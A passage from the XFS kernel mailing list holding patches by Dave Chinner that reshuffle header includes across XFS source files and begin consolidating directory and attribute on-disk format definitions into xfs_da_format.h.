-#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_btree.h" +#include "xfs_bmap_btree.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" -#include "xfs_rtalloc.h" #include "xfs_error.h" -#include "xfs_itable.h" -#include "xfs_attr.h" -#include "xfs_buf_item.h" +#include "xfs_trans.h" #include "xfs_trans_space.h" #include "xfs_iomap.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_quota.h" #include "xfs_dquot_item.h" #include "xfs_dquot.h" +#include "xfs_dinode.h" #define XFS_WRITEIO_ALIGN(mp,off) (((off) >> mp->m_writeio_log) \ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 44fdfe8..eef7f1a 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -25,26 +25,20 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_acl.h" -#include "xfs_alloc.h" #include "xfs_quota.h" -#include "xfs_rtalloc.h" #include "xfs_error.h" -#include "xfs_itable.h" #include "xfs_attr.h" #include "xfs_trans.h" -#include "xfs_buf_item.h" -#include "xfs_inode_item.h" #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_symlink.h" #include "xfs_da_btree.h" #include "xfs_dir2_priv.h" +#include "xfs_dinode.h" #include #include diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 964b1ca..c237ad1 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -18,23 +18,22 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_inum.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_btree.h" #include "xfs_ialloc.h" +#include "xfs_ialloc_btree.h" #include "xfs_itable.h" #include "xfs_error.h" -#include "xfs_btree.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_dinode.h" STATIC int xfs_internal_inum( diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index e7f5c9a8..eab4eec 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" @@ -28,12 +29,7 @@ #include "xfs_trans_priv.h" #include "xfs_log.h" #include "xfs_log_priv.h" -#include "xfs_buf_item.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" #include "xfs_log_recover.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trace.h" #include "xfs_fsops.h" diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 77a3a39..598f415 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -27,29 +27,23 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_error.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" -#include "xfs_inode_item.h" -#include "xfs_alloc.h" -#include "xfs_ialloc.h" #include "xfs_log.h" #include "xfs_log_priv.h" #include "xfs_log_recover.h" +#include "xfs_inode_item.h" #include "xfs_extfree_item.h" #include "xfs_trans_priv.h" +#include "xfs_alloc.h" +#include "xfs_ialloc.h" #include "xfs_quota.h" #include "xfs_cksum.h" #include "xfs_trace.h" #include "xfs_icache.h" - -/* Need all the magic numbers and buffer ops structures from these headers */ -#include "xfs_da_btree.h" +#include "xfs_bmap_btree.h" +#include "xfs_dinode.h" +#include "xfs_error.h" #include "xfs_dir2.h" #define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) diff --git a/fs/xfs/xfs_log_rlimit.c b/fs/xfs/xfs_log_rlimit.c index 3749bc1..2af1a0a 100644 --- a/fs/xfs/xfs_log_rlimit.c +++ b/fs/xfs/xfs_log_rlimit.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_ag.h" @@ -25,10 +26,10 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_trans_space.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_da_btree.h" #include "xfs_attr_leaf.h" +#include "xfs_bmap_btree.h" /* * Calculate the maximum length in bytes that would be required for a local diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 83f7810..da88f16 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -27,27 +27,20 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" -#include "xfs_log.h" -#include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_btree.h" +#include "xfs_dir2.h" #include "xfs_ialloc.h" #include "xfs_alloc.h" #include "xfs_rtalloc.h" #include "xfs_bmap.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" +#include "xfs_log.h" #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_fsops.h" #include "xfs_trace.h" #include "xfs_icache.h" -#include "xfs_cksum.h" -#include "xfs_buf_item.h" #ifdef HAVE_PERCPU_SB diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index e2f6756..14a4996 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -17,33 +17,28 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_shared.h" #include "xfs_format.h" #include "xfs_log_format.h" -#include "xfs_shared.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_ialloc.h" #include "xfs_itable.h" -#include "xfs_alloc.h" -#include "xfs_rtalloc.h" #include "xfs_quota.h" #include "xfs_error.h" #include "xfs_bmap.h" -#include "xfs_attr.h" +#include "xfs_bmap_btree.h" #include "xfs_trans.h" -#include "xfs_buf_item.h" #include "xfs_trans_space.h" #include "xfs_qm.h" #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_cksum.h" +#include "xfs_dinode.h" /* * The global quota manager. There is only one of these for the entire diff --git a/fs/xfs/xfs_qm_bhv.c b/fs/xfs/xfs_qm_bhv.c index 7046289..e9be63a 100644 --- a/fs/xfs/xfs_qm_bhv.c +++ b/fs/xfs/xfs_qm_bhv.c @@ -22,18 +22,11 @@ #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" #include "xfs_quota.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" -#include "xfs_itable.h" -#include "xfs_bmap.h" -#include "xfs_rtalloc.h" #include "xfs_error.h" -#include "xfs_attr.h" #include "xfs_trans.h" -#include "xfs_buf_item.h" #include "xfs_qm.h" diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index ed79a72..1b4cf5b 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -27,19 +27,11 @@ #include "xfs_bit.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_trans.h" -#include "xfs_inode_item.h" -#include "xfs_itable.h" -#include "xfs_bmap.h" -#include "xfs_rtalloc.h" #include "xfs_error.h" -#include "xfs_attr.h" -#include "xfs_buf_item.h" +#include "xfs_quota.h" #include "xfs_qm.h" #include "xfs_trace.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_quotaops.c b/fs/xfs/xfs_quotaops.c index 2dd467b..af33caf 100644 --- a/fs/xfs/xfs_quotaops.c +++ b/fs/xfs/xfs_quotaops.c @@ -22,10 +22,9 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_inode.h" #include "xfs_quota.h" #include "xfs_trans.h" -#include "xfs_bmap_btree.h" -#include "xfs_inode.h" #include "xfs_qm.h" #include diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 23c5ca2..d5da155 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -25,21 +25,18 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_alloc.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" -#include "xfs_rtalloc.h" -#include "xfs_fsops.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc.h" #include "xfs_error.h" #include "xfs_trans.h" -#include "xfs_inode_item.h" #include "xfs_trans_space.h" #include "xfs_trace.h" #include "xfs_buf.h" #include "xfs_icache.h" +#include "xfs_dinode.h" /* diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 8c4307d..2f03fd0 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -21,31 +21,21 @@ #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_inum.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_format.h" -#include "xfs_da_btree.h" -#include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_btree.h" #include "xfs_ialloc.h" #include "xfs_alloc.h" -#include "xfs_rtalloc.h" -#include "xfs_bmap.h" #include "xfs_error.h" -#include "xfs_quota.h" -#include "xfs_fsops.h" #include "xfs_trace.h" #include "xfs_cksum.h" #include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_buf_item.h" +#include "xfs_dinode.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc_btree.h" +#include "xfs_ialloc_btree.h" /* * Physical superblock buffer manipulations. Shared with libxfs in userspace. diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 5f93d21..fae1502 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -24,29 +24,18 @@ #include "xfs_inum.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" -#include "xfs_ialloc.h" #include "xfs_bmap.h" -#include "xfs_rtalloc.h" +#include "xfs_alloc.h" #include "xfs_error.h" -#include "xfs_itable.h" #include "xfs_fsops.h" -#include "xfs_attr.h" #include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_log.h" #include "xfs_log_priv.h" -#include "xfs_trans_priv.h" -#include "xfs_filestream.h" #include "xfs_da_btree.h" #include "xfs_dir2.h" #include "xfs_extfree_item.h" @@ -55,6 +44,9 @@ #include "xfs_icache.h" #include "xfs_trace.h" #include "xfs_icreate_item.h" +#include "xfs_dinode.h" +#include "xfs_filestream.h" +#include "xfs_quota.h" #include #include diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 1859049..ef651a2 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -28,13 +28,11 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_ialloc.h" #include "xfs_alloc.h" #include "xfs_bmap.h" +#include "xfs_bmap_btree.h" #include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" @@ -42,8 +40,8 @@ #include "xfs_trace.h" #include "xfs_symlink.h" #include "xfs_trans.h" -#include "xfs_buf_item.h" #include "xfs_log.h" +#include "xfs_dinode.h" /* ----- Kernel only functions below ----- */ STATIC int diff --git a/fs/xfs/xfs_trace.c b/fs/xfs/xfs_trace.c index 889bb42..dee3279 100644 --- a/fs/xfs/xfs_trace.c +++ b/fs/xfs/xfs_trace.c @@ -25,10 +25,6 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" #include "xfs_da_btree.h" @@ -49,6 +45,7 @@ #include "xfs_dquot.h" #include "xfs_log_recover.h" #include "xfs_inode_item.h" +#include "xfs_bmap_btree.h" /* * We include this last to have the helpers above available for the trace diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 8d1595f..c812c5c 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -25,28 +25,14 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_error.h" -#include "xfs_da_format.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_btree.h" -#include "xfs_ialloc.h" -#include "xfs_alloc.h" #include "xfs_extent_busy.h" -#include "xfs_bmap.h" #include "xfs_quota.h" #include "xfs_trans.h" #include "xfs_trans_priv.h" -#include "xfs_trans_space.h" -#include "xfs_qm.h" -#include "xfs_inode_item.h" #include "xfs_log.h" -#include "xfs_log_priv.h" -#include "xfs_buf_item.h" #include "xfs_trace.h" +#include "xfs_error.h" kmem_zone_t *xfs_trans_zone; kmem_zone_t *xfs_log_item_desc_zone; diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index f75f9ee..f7f89e2 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -250,6 +250,11 @@ void xfs_trans_cancel(xfs_trans_t *, int); int xfs_trans_ail_init(struct xfs_mount *); void xfs_trans_ail_destroy(struct xfs_mount *); +void xfs_trans_buf_set_type(struct xfs_trans *, struct xfs_buf *, + enum xfs_blft); +void xfs_trans_buf_copy_type(struct xfs_buf *dst_bp, + struct xfs_buf *src_bp); + extern kmem_zone_t *xfs_trans_zone; extern kmem_zone_t *xfs_log_item_desc_zone; diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c index 6b1b993..c035d11 100644 --- a/fs/xfs/xfs_trans_buf.c +++ b/fs/xfs/xfs_trans_buf.c @@ -18,15 +18,12 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_buf_item.h" diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c index 2025f6e..cd2a10e 100644 --- a/fs/xfs/xfs_trans_dquot.c +++ b/fs/xfs/xfs_trans_dquot.c @@ -23,19 +23,12 @@ #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" -#include "xfs_itable.h" -#include "xfs_bmap.h" -#include "xfs_rtalloc.h" #include "xfs_error.h" -#include "xfs_attr.h" #include "xfs_trans.h" -#include "xfs_buf_item.h" #include "xfs_trans_priv.h" +#include "xfs_quota.h" #include "xfs_qm.h" STATIC void xfs_trans_alloc_dqinfo(xfs_trans_t *); diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c index 8580127..b02fa32 100644 --- a/fs/xfs/xfs_trans_inode.c +++ b/fs/xfs/xfs_trans_inode.c @@ -18,17 +18,13 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_btree.h" #include "xfs_trans.h" #include "xfs_trans_priv.h" #include "xfs_inode_item.h" diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 89de046..d53d9f0 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -26,19 +26,9 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_error.h" -#include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_btree.h" +#include "xfs_bmap_btree.h" #include "xfs_ialloc.h" -#include "xfs_alloc.h" -#include "xfs_extent_busy.h" -#include "xfs_bmap.h" -#include "xfs_bmap_util.h" #include "xfs_quota.h" #include "xfs_trans.h" #include "xfs_qm.h" diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 2305299..9d47907 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -17,13 +17,13 @@ */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_attr.h" #include "xfs_attr_leaf.h" -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1BAD77F8E for ; Sun, 29 Sep 2013 22:07:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0A54C304032 for ; Sun, 29 Sep 2013 20:07:44 -0700 (PDT) X-ASG-Debug-ID: 1380510446-04cb6c3777739180005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id HMbVWZi00UdtGFLu for ; Sun, 29 Sep 2013 20:07:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABQCoMHrXmVKxd0giUBAQUaAQwvMwgYMTkDGxmIBbwGjgcHBQuFXAOpeIM2KoEt Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006LS-Jo for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Bd-It for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/16] xfs: unify directory/attribute format definitions Date: Mon, 30 Sep 2013 13:06:59 +1000 X-ASG-Orig-Subj: [PATCH 02/16] xfs: unify directory/attribute format definitions Message-Id: <1380510433-8353-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510456 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on-disk format definitions for the directory and attribute structures are spread across 3 header files right now, only one of which is dedicated to defining on-disk structures and their manipulation (xfs_dir2_format.h). Pull all the format definitions into a single header file - xfs_da_format.h - and switch all the code over to point at that. Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr.c | 1 + fs/xfs/xfs_attr_inactive.c | 1 + fs/xfs/xfs_attr_leaf.c | 1 + fs/xfs/xfs_attr_leaf.h | 230 -------- fs/xfs/xfs_attr_list.c | 1 + fs/xfs/xfs_attr_remote.c | 1 + fs/xfs/xfs_attr_remote.h | 27 - fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_bmap_util.c | 2 +- fs/xfs/xfs_da_btree.c | 2 +- fs/xfs/xfs_da_btree.h | 140 ----- fs/xfs/xfs_da_format.h | 1362 ++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_data.c | 2 +- fs/xfs/xfs_dir2_format.h | 964 ------------------------------- fs/xfs/xfs_dir2_leaf.c | 2 +- fs/xfs/xfs_dir2_node.c | 2 +- fs/xfs/xfs_dir2_readdir.c | 2 +- fs/xfs/xfs_dir2_sf.c | 2 +- fs/xfs/xfs_export.c | 3 +- fs/xfs/xfs_file.c | 4 +- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_iops.c | 2 +- fs/xfs/xfs_log_recover.c | 2 +- fs/xfs/xfs_log_rlimit.c | 1 + fs/xfs/xfs_mount.c | 3 +- fs/xfs/xfs_sb.c | 2 +- fs/xfs/xfs_super.c | 2 +- fs/xfs/xfs_symlink.c | 3 +- fs/xfs/xfs_trace.c | 3 +- fs/xfs/xfs_trans.c | 2 +- fs/xfs/xfs_trans_resv.c | 1 + fs/xfs/xfs_xattr.c | 7 +- 34 files changed, 1398 insertions(+), 1387 deletions(-) create mode 100644 fs/xfs/xfs_da_format.h delete mode 100644 fs/xfs/xfs_dir2_format.h diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 21af043..dd0f48f 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_attr_sf.h" diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index e90a876..60b60c0 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 86db20a..94838fe 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_attr_leaf.h b/fs/xfs/xfs_attr_leaf.h index da34e64..3ec5ec0 100644 --- a/fs/xfs/xfs_attr_leaf.h +++ b/fs/xfs/xfs_attr_leaf.h @@ -19,16 +19,6 @@ #ifndef __XFS_ATTR_LEAF_H__ #define __XFS_ATTR_LEAF_H__ -/* - * Attribute storage layout, internal structure, access macros, etc. - * - * Attribute lists are structured around Btrees where all the data - * elements are in the leaf nodes. Attribute names are hashed into an int, - * then that int is used as the index into the Btree. Since the hashval - * of an attribute name may not be unique, we may have duplicate keys. The - * internal links in the Btree are logical block offsets into the file. - */ - struct attrlist; struct attrlist_cursor_kern; struct xfs_attr_list_context; @@ -38,226 +28,6 @@ struct xfs_da_state_blk; struct xfs_inode; struct xfs_trans; -/*======================================================================== - * Attribute structure when equal to XFS_LBSIZE(mp) bytes. - *========================================================================*/ - -/* - * This is the structure of the leaf nodes in the Btree. - * - * Struct leaf_entry's are packed from the top. Name/values grow from the - * bottom but are not packed. The freemap contains run-length-encoded entries - * for the free bytes after the leaf_entry's, but only the N largest such, - * smaller runs are dropped. When the freemap doesn't show enough space - * for an allocation, we compact the name/value area and try again. If we - * still don't have enough space, then we have to split the block. The - * name/value structs (both local and remote versions) must be 32bit aligned. - * - * Since we have duplicate hash keys, for each key that matches, compare - * the actual name string. The root and intermediate node search always - * takes the first-in-the-block key match found, so we should only have - * to work "forw"ard. If none matches, continue with the "forw"ard leaf - * nodes until the hash key changes or the attribute name is found. - * - * We store the fact that an attribute is a ROOT/USER/SECURE attribute in - * the leaf_entry. The namespaces are independent only because we also look - * at the namespace bit when we are looking for a matching attribute name. - * - * We also store an "incomplete" bit in the leaf_entry. It shows that an - * attribute is in the middle of being created and should not be shown to - * the user if we crash during the time that the bit is set. We clear the - * bit when we have finished setting up the attribute. We do this because - * we cannot create some large attributes inside a single transaction, and we - * need some indication that we weren't finished if we crash in the middle. - */ -#define XFS_ATTR_LEAF_MAPSIZE 3 /* how many freespace slots */ - -typedef struct xfs_attr_leaf_map { /* RLE map of free bytes */ - __be16 base; /* base of free region */ - __be16 size; /* length of free region */ -} xfs_attr_leaf_map_t; - -typedef struct xfs_attr_leaf_hdr { /* constant-structure header block */ - xfs_da_blkinfo_t info; /* block type, links, etc. */ - __be16 count; /* count of active leaf_entry's */ - __be16 usedbytes; /* num bytes of names/values stored */ - __be16 firstused; /* first used byte in name area */ - __u8 holes; /* != 0 if blk needs compaction */ - __u8 pad1; - xfs_attr_leaf_map_t freemap[XFS_ATTR_LEAF_MAPSIZE]; - /* N largest free regions */ -} xfs_attr_leaf_hdr_t; - -typedef struct xfs_attr_leaf_entry { /* sorted on key, not name */ - __be32 hashval; /* hash value of name */ - __be16 nameidx; /* index into buffer of name/value */ - __u8 flags; /* LOCAL/ROOT/SECURE/INCOMPLETE flag */ - __u8 pad2; /* unused pad byte */ -} xfs_attr_leaf_entry_t; - -typedef struct xfs_attr_leaf_name_local { - __be16 valuelen; /* number of bytes in value */ - __u8 namelen; /* length of name bytes */ - __u8 nameval[1]; /* name/value bytes */ -} xfs_attr_leaf_name_local_t; - -typedef struct xfs_attr_leaf_name_remote { - __be32 valueblk; /* block number of value bytes */ - __be32 valuelen; /* number of bytes in value */ - __u8 namelen; /* length of name bytes */ - __u8 name[1]; /* name bytes */ -} xfs_attr_leaf_name_remote_t; - -typedef struct xfs_attr_leafblock { - xfs_attr_leaf_hdr_t hdr; /* constant-structure header block */ - xfs_attr_leaf_entry_t entries[1]; /* sorted on key, not name */ - xfs_attr_leaf_name_local_t namelist; /* grows from bottom of buf */ - xfs_attr_leaf_name_remote_t valuelist; /* grows from bottom of buf */ -} xfs_attr_leafblock_t; - -/* - * CRC enabled leaf structures. Called "version 3" structures to match the - * version number of the directory and dablk structures for this feature, and - * attr2 is already taken by the variable inode attribute fork size feature. - */ -struct xfs_attr3_leaf_hdr { - struct xfs_da3_blkinfo info; - __be16 count; - __be16 usedbytes; - __be16 firstused; - __u8 holes; - __u8 pad1; - struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; - __be32 pad2; /* 64 bit alignment */ -}; - -#define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) - -struct xfs_attr3_leafblock { - struct xfs_attr3_leaf_hdr hdr; - struct xfs_attr_leaf_entry entries[1]; - - /* - * The rest of the block contains the following structures after the - * leaf entries, growing from the bottom up. The variables are never - * referenced, the locations 